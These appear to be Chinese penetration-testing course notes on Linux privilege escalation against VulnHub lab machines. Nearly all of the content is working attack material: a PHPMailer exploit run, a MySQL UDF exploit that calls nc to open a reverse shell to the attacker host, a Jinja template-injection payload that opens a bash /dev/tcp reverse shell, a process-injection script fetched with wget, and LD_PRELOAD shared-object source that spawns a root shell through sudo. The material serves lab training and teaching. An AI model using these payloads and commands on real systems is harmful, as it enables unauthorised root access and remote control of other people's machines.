知识点
1、Web或用户到Linux-数据库类型
2、Web或用户到Linux-Capability能力
3、普通用户到Linux-LD_Preload加载so配合sudo
章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移
基础点
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它
1、具体有哪些权限需要我们了解掌握的:
后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................
Linux提权
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
综合检测脚本
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
一、演示案例-Linux系统提权-Web&用户-数据库类型
复现环境:https://www.vulnhub.com/entry/raven-2,269/
1、信息收集
http://192.168.139.155/vendor/
2、Web权限获取
searchsploit phpmailer
find / -name 40969.py
cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py
python p.py
python -c 'import pty; pty.spawn("/bin/bash")' //起一个交互式终端
3、MYSQL-UDF提权
两种提权方式:1、用梭哈工具(注意外联问题) 2、手工操作(不需要外联)
编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . //复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080
下载到目标上
python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so
连接进行导出调用
mysql -uroot -pR@v3nSecurity
select version(); //查看mysql版本
select @@basedir; //确认mysql安装位置
show variables like '%basedir%'; //确认mysql安装位置
show variables like '%secure%'; //查看可导出文件位置
show variables like '%plugin%'; //查找插件位置
show variables like '%compile%'; //查看系统版本
use mysql;
// 创建xiaodi表
create table xiaodi(line blob);
// 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
// 导出udf.so到其他位置
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
// 创建do_system自定义函数并执行命令
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.139.141 6666 -e /bin/bash');
二、演示案例-Linux系统提权-Web&用户-Capability能力
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
1、入门
cp /usr/bin/php /tmp/php
chmod 777 /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f
参考这个地址:https://gtfobins.github.io/
2、vulnhub
复现环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
WP参考:https://www.jianshu.com/p/60673ac0454f
saket
Saket!#$%@!!
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D
/sbin/getcap -r / 2>/dev/null //查看所有能力
python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
nc 192.168.139.156 5600
结论
suid升级版,更细致的权限划分,当拿到权限后要先看下有哪些程序有能力,在对这些能力进行筛选利用。
三、演示案例-Linux系统提权-普通用户-LD_Preload加载&配合sudo
类似windows dll劫持,而linux是执行so文件,windows是执行dll文件
在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。
参考:https://www.cnblogs.com/backlion/p/10503985.html
Defaults env_keep += LD_PRELOAD //设置开启LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find //所有用户能不用密码就对这个find进行操作
一旦这样设置就会有两个安全问题:1、sudo提权 2、LD_Preload提权
LD_Preload提权
shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles //编译这个shell.c文件为shell.so文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find //让find在执行的时候绑定编译好的so文件
Defaults env_keep += LD_PRELOAD //设置开启LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh //所有用户能不用密码就对这个LinEnum.sh进行操作,LinEnum.sh是一个综合检测脚本
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
结论
当sudo提权有限制时(只有第三方程序文件有sudo权限),但是一旦设置了LD_PRELOAD,那么只要有sudo程序既可提权。